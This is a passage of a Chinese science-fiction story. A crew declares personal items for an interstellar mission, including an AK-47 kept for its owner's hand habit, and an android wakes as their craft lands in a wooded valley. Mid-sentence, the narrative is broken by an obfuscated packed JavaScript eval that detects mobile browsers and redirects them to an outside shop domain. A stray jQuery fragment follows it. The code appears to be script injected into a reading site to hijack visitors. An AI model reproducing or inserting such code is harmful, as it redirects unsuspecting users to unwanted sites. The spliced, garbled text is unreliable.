极低频的引擎嗡鸣，远处传来的、细小的金属热胀冷缩声。
光从全息圆桌的正中央亮起——绿色的行星模型，云层覆盖了三分之二的表面，缓慢旋转。光从底部照上来，把每个人的下颌线都拉出一道锐利而偏白的边缘。
镜头稳定。广角畸变在画面边缘微微弯曲，仿佛被什么透明的曲面包裹着。这是从一颗佩在领口的视觉记录器里取出的录像，未经剪辑，没有任何修饰。
克莱尔坐在主位。她的声音在会议室里显得比平时低沉一些，像在陈述一件不需要讨论的事。
“……每人可以带一件。跟任务无关的。你们自己决定是什么，报备就行。”
安静了片刻。模型上的绿色云层划过一个完整的弧度。
周烬第一个举手：“辣椒酱。还有辣椒种子。水培系统里能不能加一排辣椒？”
“行。”克莱尔说。
“我说的是一整箱。不是一瓶。”
田村坐在他对面，等他说完才开口，语气里带着一种早就准备好的平稳：“我带小提琴。手工的，我自己做的。”
会议室安静了半秒。有人交换了一个眼神，但没有人说什么。周烬从鼻腔里挤出一声短促的“嚯”，像在说“你还真有两下子”。
田村没有理会他，把双手交叉放在桌面上：“音乐和基因图谱都是序列。一个用木头的共鸣，一个用碱基的排列。我想知道它们能不能呼应。”
没有人接这句话。沉默持续了大约两拍。
周烬：“你带小提琴，能在飞船里拉吗？八个月，你不是打算用它来演《星际奏鸣曲》第二乐章吧？”
田村：“到时候你就知道了。”
克莱尔转向陈折：“你呢？”
陈折坐在圆桌的另一侧，背微微弓着。她的第一反应是看了一眼自己膝盖旁边的位置，然后才抬起头：“布莱克。我以个人身份申报它。在任务档案里，它不算设备。”
克莱尔点了一下头，没有追问。周烬已经弯腰下去，伸手拍了拍膝盖下方的地板。黑色猎犬从桌子底下探出半个头来，浅琥珀色的瞳孔在会议室的冷光下亮了一下，又安静地收了回去。
所有人都没来得及开口。詹姆斯的声音从镜头后面传来，带着一种松弛、几乎随意的语调：“我报一个植物。”
他靠在椅背上，手腕搭在桌沿，手里转着一支笔。“Rubber。”
停顿了大约半拍。阿尼尔的指尖在屏幕上停住了，克莱尔看他像是看他是不是认真的。周烬眉毛挑了一下，发出一个介于困惑和期待之间的声音：“……树？”
“树。”詹姆斯说，“带树苗。种子也可以。”
“你打算在答里孛星上种橡胶？”阿尼尔问。
詹姆斯摊了摊手，表情松弛而自然，像是已经预料到这个问题：“种不活也没关系。就是带过去。”
周烬眯了一下眼睛，然后嘴角慢慢扬起来：“……rubber。”他又重复了一遍这个词，尾音拖得比詹姆斯长，“你想了两秒钟，然后选了那个词，对吧？”
“它是个好词。”詹姆斯说。
周烬笑出声来，用指节敲了两下桌面：“你这个玩笑能撑八个月，我就服你。”
克莱尔垂着眼皮看了一秒桌面，说：“种子申报为个人物品。如果飞船里长出奇怪的植物，你负责清理。”
“不会长的。”詹姆斯说得很快，声音已经收了回去，“它连答里孛的土都活不了。”
他低头在个人终端上写了几个字。第一人称的镜头捕捉到他视线移动的轨迹——落笔、停顿、看着那行字多停留了一秒。
阿尼尔清了一下嗓子。他的声音不大，但整个会议室的人都把目光转向了他。他看起来已经等了几轮，等一个不那么像念抒情散文的时间。他把平板推向前方，说了一个词：“投影仪。”
克莱尔抬眼看他：“投影仪？”
阿尼尔的语气依然平静，但比之前低了一点：“不是现在的投影仪。是工业文明早期的——机械卷轴式。我知道哪里能弄到。”他停顿了一下，又继续道，“放出来的是地球。卫星影像。海很蓝，空气很干净，没有空间站轨道残留。可以放大，也可以缩小。把整个太阳系的行星关系放在一个桌面上。”
他说完这句话后，没有看任何人。他的视线落在自己指尖下的平板屏幕上，像是刚完成了一段需要精准措辞的描述。
会议室里沉默了很久。不是那种尴尬或需要被填补的沉默，而是一种所有人都知道那句话不该被轻易接住的安静。
田村是第一个打破沉默的，声音很轻：“……那个时代的太阳系，还没有太空垃圾。”
阿尼尔没有抬头：“对。”
克莱尔在个人终端上划了一下：“报备。”
然后鲍里斯说话了。他坐在会议室最靠门的位置，光线照到他的肩膀就不再往前走了。他的声音一直很低，像一块压住桌面的石头。
“我带AK-47。”
空间里安静了几秒。每个人都在确认自己听到的话是真的。
詹姆斯：“……你是认真的？”
鲍里斯看着他，表情没有任何变化：“不是当武器用。只是带着。”
周烬从惊讶中挣脱出来，语调提高了一半：“你带一把枪去做星际科考？你打算在答里孛星上跟那些虫子打阵地战？”
“不是用来打什么。”鲍里斯说，他把手掌摊开平放在桌面上，看着自己的手指，“卡拉什尼科夫。拆开、上油、擦干净、装回去。有时候需要做点事情让手不空着。”
詹姆斯的视线落在鲍里斯的手指上。那双手很大，指节粗壮，但放平在桌面上的姿态很轻，像在托一件需要平衡的东西。
会议室没有人再说话。鲍里斯把摊开的手收回来，站起来，走向门口。他的步伐稳定均匀，一步一步，像每一次他走进监控室、巡逻舱段、清点武器库时一样。门在他身后合拢，发出极轻的碰响。
那声响消失之后，克莱尔低头在终端上写完了最后一行：“鲍里斯：AK-47一把，用于个人维护，非任务使用。”
她合上终端，抬头扫了一圈。“还有谁要带什么？没有的话，任务清单就到这里。”
没有人回答。
会议画面在这里缓慢淡出。不是剪辑，是视觉记录器自动切换到了待机模式——它的存储空间被设定为会议结束即停止录制。但画面没有立刻黑掉。最后两秒，只有桌面上那颗绿色行星的模型还在旋转，光从底部照上来，云层像一层薄薄的釉。
低功耗休眠状态下的詹姆斯，在那段画面结束后的空白里，没有移动，没有声音。他只是悬浮在一片极安静的、没有图像的暗色里。
然后……
黑暗里传来一声呜咽。
很低。像从很远的地方穿过几层金属和海水传来。持续了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786785|210200||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大约两秒，然后中断。片刻后，又响起来，比第一声更短。
仿生人詹姆斯的休眠状态被唤醒。神经模拟信号从基线缓慢爬升，视觉模块还处于待机模式。他分辨出那个声音的来源——飞行器舱室内，距离他约两米的位置。
布莱克。它已经在舱门口蹲好了，尾巴收拢，前爪并拢，下颌微微抬起——那是它每次任务降落前的标准预备姿态。
陈折在驾驶位上睁开眼睛。她没有睡着太久，但刚才那段休息让她的大脑从长时间的巡航麻木中恢复了一些。舷窗外的景色已经从纯黑变成了深蓝，然后开始渗入一种暗绿色的轮廓。下方的地面正在放大，像一张被逐渐拉近的地图，山脊线、河谷、植被覆盖的缓坡，逐一从黑暗中浮现出来，迎面而来。按照之前锁定的坐标，飞行器正在下降。
阿娜不知道什么时候也醒了。她坐在靠窗的座位上，额头贴着舷窗的玻璃，呼吸在窗面上留下一小片椭圆形的雾。她看着下方那片正在靠近的陆地,山峦、溪谷、深色林冠线——眼睛里是一种陈折还没来得及解读的安静。
"到了。"陈折说。
飞行器穿过一层薄薄的云，机身轻微震颤了一下。下方是一片被山体围合的低洼谷地，植被浓密，看不见任何人造建筑的痕迹。远处有一条发亮的细线——一条溪流，正在晨光到来前的暗蓝色里缓慢移动。詹姆斯在主控面板上确认了最后一次坐标校准。"着陆点偏差小于预期，谷地中央平坦区域，地面植被以低矮灌木和草本为主，适合短距降落。"
陈折把手放在操纵杆上："准备。"
布莱克的前爪微微蜷缩了一下。它的尾巴末梢在黑暗中扫了一下地板，又停住。陈折说："那就落。"
飞行器下降速度逐渐增大。引擎声从均匀的低频嗡鸣转变为一种更厚实的低鸣。舷窗外的树木开始变得可以辨认每一棵的形状，然后连树冠之间的缝隙都开始清晰。飞行器从林冠线上方掠过，巨大的树影在机身上快速滑动。陈折拉平机头，引擎声再次改变，飞行器在离地面约两米的高度悬停了一瞬，然后起落架触地，机身微微一沉，滑行了约二十米后停住。
引擎逐渐降噪，然后彻底安静。
阿娜把额头从窗玻璃上移开，转头看向陈折。她没有说话。陈折解开安全带，站起来，走到舱门边，手掌贴在舱壁上。她听到外面有风穿过叶子的声音，很远的地方有鸟鸣。隔着金属外壳，一切听起来都像隔着一层厚纸。
"公元1000年。"她轻声说。詹姆斯从主控台后站起来，走到舱门另一侧。他等了一下，伸出手，握住舱门的手动开关。他看着陈折，问："现在开？"
陈折点头。
舱门打开。比罗塔岛的更干燥一些，带着泥土和腐烂落叶的气息，混着远处一种陈折还分辨不出的草木气味。飞行器停在一处被山体三面环抱的谷地中央，四周的树木比她们在罗塔岛见过的更高、更密。地面铺着厚厚一层落叶，踩上去没有声音。头顶的天空还剩下最后一丝深蓝，东方有一道极细的橙红色正在缓慢蔓延。阿娜站在舱门边，赤脚踩在落叶上，没有往前走。她只是站着。布莱克蹲坐在她脚边，面朝谷地开口的方向，没有发出任何声音。
陈折站在飞行器旁边，环顾四周。山体在晨光中呈现一种她从未见过的暗绿色，密集而沉默，像是从来没有被任何人触摸过。风从谷地开口的方向涌进来，穿过植被，穿过金属外壳，穿过她的头发。